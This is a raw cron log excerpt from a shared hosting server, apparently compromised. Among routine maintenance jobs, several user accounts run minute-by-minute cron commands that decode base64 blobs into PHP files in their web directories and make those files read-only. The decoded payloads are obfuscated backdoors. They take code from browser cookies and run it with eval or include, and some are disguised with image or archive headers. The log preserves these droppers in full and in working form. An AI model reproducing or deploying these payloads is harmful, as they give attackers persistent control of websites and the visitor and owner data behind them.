AoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:57:01 medusa CROND[7030]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:57:01 medusa CROND[7036]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:57:01 medusa CROND[7038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:58:02 medusa CROND[28993]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:58:02 medusa CROND[29003]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:58:02 medusa CROND[29004]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:58:02 medusa CROND[29005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:58:02 medusa CROND[29006]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:58:02 medusa CROND[29008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:58:02 medusa CROND[29009]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:58:02 medusa CROND[29011]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:58:02 medusa CROND[29007]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 07:58:02 medusa CROND[29014]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:58:02 medusa CROND[29026]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:58:02 medusa CROND[29027]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:58:02 medusa CROND[29029]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:58:02 medusa CROND[29032]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:59:01 medusa CROND[18674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:59:01 medusa CROND[18698]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:59:01 medusa CROND[18699]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:59:01 medusa CROND[18700]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:59:01 medusa CROND[18701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:59:01 medusa CROND[18702]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:59:01 medusa CROND[18703]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
